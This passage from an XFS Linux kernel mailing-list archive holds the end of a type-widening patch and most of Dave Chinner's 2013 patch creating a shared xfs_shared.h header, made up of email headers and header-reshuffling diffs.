a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 1d8101a..a466c5e 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -112,7 +112,7 @@ typedef struct xfs_mount { __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ __uint8_t m_agno_log; /* log #ag's */ __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ + uint m_inode_cluster_size;/* min inode buf size */ uint m_blockmask; /* sb_blocksize-1 */ uint m_blockwsize; /* sb_blocksize in words */ uint m_blockwmask; /* blockwsize-1 */ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index d53d9f0..2fd59c0 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -385,8 +385,7 @@ xfs_calc_ifree_reservation( xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), - XFS_INODE_CLUSTER_SIZE(mp)) + + max_t(uint, XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C49027F4E for ; Sun, 29 Sep 2013 22:07:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B504E304032 for ; Sun, 29 Sep 2013 20:07:30 -0700 (PDT) X-ASG-Debug-ID: 1380510446-04cb6c3777739180001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 0EC5IeibmrxCXfAB for ; Sun, 29 Sep 2013 20:07:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJgEFGgEMLzMISTkDGxmIBbwGk3oDokeHMYM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LR-Ir for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002BX-I4 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/16] xfs: create a shared header file for format-related information Date: Mon, 30 Sep 2013 13:06:58 +1000 X-ASG-Orig-Subj: [PATCH 01/16] xfs: create a shared header file for format-related information Message-Id: <1380510433-8353-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510446 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- All of the buffer operations structures are needed to be exported for xfs_db, so move them all to a common location rather than spreading them all over the place. They are verifying the on-disk format, so while xfs_format.h might be a good place, it is not part of the on disk format. Hence we need to create a new header file that we centralise these related definitions. Start by moving the bffer operations structures, and then also move all the other definitions that have crept into xfs_log_format.h and xfs_format.h as there was no other shared header file to put them in. Signed-off-by: Dave Chinner --- fs/xfs/xfs_ag.h | 4 - fs/xfs/xfs_alloc.c | 3 +- fs/xfs/xfs_alloc.h | 3 - fs/xfs/xfs_alloc_btree.h | 2 - fs/xfs/xfs_aops.c | 4 +- fs/xfs/xfs_attr.c | 1 + fs/xfs/xfs_attr_inactive.c | 1 + fs/xfs/xfs_attr_leaf.h | 2 - fs/xfs/xfs_attr_remote.h | 2 - fs/xfs/xfs_bmap.c | 1 + fs/xfs/xfs_bmap_btree.h | 2 - fs/xfs/xfs_bmap_util.c | 1 + fs/xfs/xfs_btree.c | 2 +- fs/xfs/xfs_da_btree.c | 3 +- fs/xfs/xfs_da_btree.h | 2 - fs/xfs/xfs_dquot.c | 1 + fs/xfs/xfs_dquot.h | 2 - fs/xfs/xfs_extent_busy.c | 3 +- fs/xfs/xfs_format.h | 10 -- fs/xfs/xfs_fsops.c | 2 + fs/xfs/xfs_ialloc.c | 3 +- fs/xfs/xfs_ialloc.h | 2 - fs/xfs/xfs_ialloc_btree.h | 2 - fs/xfs/xfs_icreate_item.c | 2 +- fs/xfs/xfs_inode.c | 1 + fs/xfs/xfs_inode_buf.c | 1 + fs/xfs/xfs_inode_buf.h | 3 - fs/xfs/xfs_ioctl.c | 1 + fs/xfs/xfs_iomap.c | 1 + fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_itable.c | 2 +- fs/xfs/xfs_log.c | 2 +- fs/xfs/xfs_log_cil.c | 2 +- fs/xfs/xfs_log_format.h | 177 -------------------------------- fs/xfs/xfs_log_recover.c | 1 + fs/xfs/xfs_log_rlimit.c | 1 + fs/xfs/xfs_mount.c | 1 + fs/xfs/xfs_qm.c | 1 + fs/xfs/xfs_qm_syscalls.c | 1 + fs/xfs/xfs_quota.h | 2 - fs/xfs/xfs_rtalloc.c | 1 + fs/xfs/xfs_sb.h | 3 - fs/xfs/xfs_shared.h | 244 ++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_super.c | 1 + fs/xfs/xfs_symlink.c | 1 + fs/xfs/xfs_symlink_remote.c | 1 + fs/xfs/xfs_trace.c | 2 +- fs/xfs/xfs_trans.c | 1 + fs/xfs/xfs_trans_buf.c | 2 +- fs/xfs/xfs_trans_dquot.c | 1 + fs/xfs/xfs_trans_extfree.c | 2 +- fs/xfs/xfs_trans_inode.c | 2 +- fs/xfs/xfs_trans_resv.c | 1 + 53 files changed, 288 insertions(+), 232 deletions(-) create mode 100644 fs/xfs/xfs_shared.h diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 1cb740a..3fc1098 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -128,8 +128,6 @@ typedef struct xfs_agf { extern int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agf_buf_ops; - /* * Size of the unlinked inode hash table in the agi. */ @@ -191,8 +189,6 @@ typedef struct xfs_agi { extern int xfs_read_agi(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - /* * The third a.g. block contains the a.g. freelist, an array * of block pointers to blocks owned by the allocation btree code. diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 5a1393f..2bfca06 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -17,7 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_alloc.h b/fs/xfs/xfs_alloc.h index 99d0a61..feacb06 100644 --- a/fs/xfs/xfs_alloc.h +++ b/fs/xfs/xfs_alloc.h @@ -231,7 +231,4 @@ xfs_alloc_get_rec( xfs_extlen_t *len, /* output: length of extent */ int *stat); /* output: success/failure */ -extern const struct xfs_buf_ops xfs_agf_buf_ops; -extern const struct xfs_buf_ops xfs_agfl_buf_ops; - #endif /* __XFS_ALLOC_H__ */ diff --git a/fs/xfs/xfs_alloc_btree.h b/fs/xfs/xfs_alloc_btree.h index e3a3f74..72676c3 100644 --- a/fs/xfs/xfs_alloc_btree.h +++ b/fs/xfs/xfs_alloc_btree.h @@ -95,6 +95,4 @@ extern struct xfs_btree_cur *xfs_allocbt_init_cursor(struct xfs_mount *, xfs_agnumber_t, xfs_btnum_t); extern int xfs_allocbt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_allocbt_buf_ops; - #endif /* __XFS_ALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e51e581..b5db88a 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -16,9 +16,11 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" -#include "xfs_log.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_sb.h" #include "xfs_ag.h" +#include "xfs_log.h" #include "xfs_trans.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index ddcf226..21af043 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index bb24b07..e90a876 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h index c102213..da34e64 100644 --- a/fs/xfs/xfs_attr_leaf.h +++ b/fs/xfs/xfs_attr_leaf.h @@ -336,6 +336,4 @@ void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, struct xfs_attr3_icleaf_hdr *from); -extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; - #endif /* __XFS_ATTR_LEAF_H__ */ diff --git a/fs/xfs/xfs_attr_remote.h b/fs/xfs/xfs_attr_remote.h index 92a8fd7..b3e1e1b 100644 --- a/fs/xfs/xfs_attr_remote.h +++ b/fs/xfs/xfs_attr_remote.h @@ -45,8 +45,6 @@ struct xfs_attr3_rmt_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_attr3_rmt_hdr) : 0)) -extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index f47e65c..aee6a00 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_bmap_btree.h b/fs/xfs/xfs_bmap_btree.h index e367461..e2b0768 100644 --- a/fs/xfs/xfs_bmap_btree.h +++ b/fs/xfs/xfs_bmap_btree.h @@ -243,6 +243,4 @@ extern int xfs_bmbt_change_owner(struct xfs_trans *tp, struct xfs_inode *ip, extern struct xfs_btree_cur *xfs_bmbt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_inode *, int); -extern const struct xfs_buf_ops xfs_bmbt_buf_ops; - #endif /* __XFS_BMAP_BTREE_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 97f952c..a6b1c08 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -19,6 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 5690e10..1a297e2 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 20bf8e8..ac51abe 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -18,7 +18,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index b1f2679..a762cfa 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -309,8 +309,6 @@ int xfs_da3_node_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mappedbno, struct xfs_buf **bpp, int which_fork); -extern const struct xfs_buf_ops xfs_da3_node_buf_ops; - /* * Utility routines. */ diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 1ee776d..8b1d2c0 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index 55abbca..d22ed00 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -172,6 +172,4 @@ static inline struct xfs_dquot *xfs_qm_dqhold(struct xfs_dquot *dqp) return dqp; } -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - #endif /* __XFS_DQUOT_H__ */ diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index e43708e..74828a7 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -19,7 +19,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index 35c08ff..a790428 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -156,14 +156,4 @@ struct xfs_dsymlink_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_dsymlink_hdr) : 0)) -int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); -int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_inode *ip, struct xfs_ifork *ifp); - -extern const struct xfs_buf_ops xfs_symlink_buf_ops; - #endif /* __XFS_FORMAT_H__ */ diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index e64ee52..d9cfe55 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -18,6 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index ccf2fb1..8530cab 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -17,7 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index 68c0732..1557798 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -158,6 +158,4 @@ int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, unsigned int gen); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - #endif /* __XFS_IALLOC_H__ */ diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index 3ac36b76..cfbfe46 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -110,6 +110,4 @@ extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_inobt_buf_ops; - #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 5a5a593..df8baf3 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 7a460d8..38db1578 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -20,6 +20,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 63382d3..65fa56e 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_inode_buf.h b/fs/xfs/xfs_inode_buf.h index abba0ae..9308c47 100644 --- a/fs/xfs/xfs_inode_buf.h +++ b/fs/xfs/xfs_inode_buf.h @@ -47,7 +47,4 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern const struct xfs_buf_ops xfs_inode_buf_ops; -extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; - #endif /* __XFS_INODE_BUF_H__ */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 668e8f4..bde3847 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 8d4d49b..41ef15e 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 6f6d270..ff54ea9 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_shared.h" #include "xfs_acl.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 084b3e1..4f50e63 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index a2dea108..7506e6d 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index cfe9797..3a9c70a 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -17,7 +17,7 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_shared.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_trans_priv.h" diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index ca7e28a..f0969c7 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -234,178 +234,6 @@ typedef struct xfs_trans_header { { XFS_LI_ICREATE, "XFS_LI_ICREATE" } /* - * Transaction types. Used to distinguish types of buffers. - */ -#define XFS_TRANS_SETATTR_NOT_SIZE 1 -#define XFS_TRANS_SETATTR_SIZE 2 -#define XFS_TRANS_INACTIVE 3 -#define XFS_TRANS_CREATE 4 -#define XFS_TRANS_CREATE_TRUNC 5 -#define XFS_TRANS_TRUNCATE_FILE 6 -#define XFS_TRANS_REMOVE 7 -#define XFS_TRANS_LINK 8 -#define XFS_TRANS_RENAME 9 -#define XFS_TRANS_MKDIR 10 -#define XFS_TRANS_RMDIR 11 -#define XFS_TRANS_SYMLINK 12 -#define XFS_TRANS_SET_DMATTRS 13 -#define XFS_TRANS_GROWFS 14 -#define XFS_TRANS_STRAT_WRITE 15 -#define XFS_TRANS_DIOSTRAT 16 -/* 17 was XFS_TRANS_WRITE_SYNC */ -#define XFS_TRANS_WRITEID 18 -#define XFS_TRANS_ADDAFORK 19 -#define XFS_TRANS_ATTRINVAL 20 -#define XFS_TRANS_ATRUNCATE 21 -#define XFS_TRANS_ATTR_SET 22 -#define XFS_TRANS_ATTR_RM 23 -#define XFS_TRANS_ATTR_FLAG 24 -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 -#define XFS_TRANS_QM_SBCHANGE 26 -/* - * Dummy entries since we use the transaction type to index into the - * trans_type[] in xlog_recover_print_trans_head() - */ -#define XFS_TRANS_DUMMY1 27 -#define XFS_TRANS_DUMMY2 28 -#define XFS_TRANS_QM_QUOTAOFF 29 -#define XFS_TRANS_QM_DQALLOC 30 -#define XFS_TRANS_QM_SETQLIM 31 -#define XFS_TRANS_QM_DQCLUSTER 32 -#define XFS_TRANS_QM_QINOCREATE 33 -#define XFS_TRANS_QM_QUOTAOFF_END 34 -#define XFS_TRANS_SB_UNIT 35 -#define XFS_TRANS_FSYNC_TS 36 -#define XFS_TRANS_GROWFSRT_ALLOC 37 -#define XFS_TRANS_GROWFSRT_ZERO 38 -#define XFS_TRANS_GROWFSRT_FREE 39 -#define XFS_TRANS_SWAPEXT 40 -#define XFS_TRANS_SB_COUNT 41 -#define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 -/* new transaction types need to be reflected in xfs_logprint(8) */ - -#define XFS_TRANS_TYPES \ - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ - { XFS_TRANS_CREATE, "CREATE" }, \ - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ - { XFS_TRANS_REMOVE, "REMOVE" }, \ - { XFS_TRANS_LINK, "LINK" }, \ - { XFS_TRANS_RENAME, "RENAME" }, \ - { XFS_TRANS_MKDIR, "MKDIR" }, \ - { XFS_TRANS_RMDIR, "RMDIR" }, \ - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ - { XFS_TRANS_GROWFS, "GROWFS" }, \ - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ - { XFS_TRANS_WRITEID, "WRITEID" }, \ - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ - { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } - -/* - * This structure is used to track log items associated with - * a transaction. It points to the log item and keeps some - * flags to track the state of the log item. It also tracks - * the amount of space needed to log the item it describes - * once we get to commit processing (see xfs_trans_commit()). - */ -struct xfs_log_item_desc { - struct xfs_log_item *lid_item; - struct list_head lid_trans; - unsigned char lid_flags; -}; - -#define XFS_LID_DIRTY 0x1 - -/* - * Values for t_flags. - */ -#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ -#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ -#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ -#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ -#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ -#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ -#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer - count in superblock */ - -/* - * Values for call flags parameter. - */ -#define XFS_TRANS_RELEASE_LOG_RES 0x4 -#define XFS_TRANS_ABORT 0x8 - -/* - * Field values for xfs_trans_mod_sb. - */ -#define XFS_TRANS_SB_ICOUNT 0x00000001 -#define XFS_TRANS_SB_IFREE 0x00000002 -#define XFS_TRANS_SB_FDBLOCKS 0x00000004 -#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 -#define XFS_TRANS_SB_FREXTENTS 0x00000010 -#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 -#define XFS_TRANS_SB_DBLOCKS 0x00000040 -#define XFS_TRANS_SB_AGCOUNT 0x00000080 -#define XFS_TRANS_SB_IMAXPCT 0x00000100 -#define 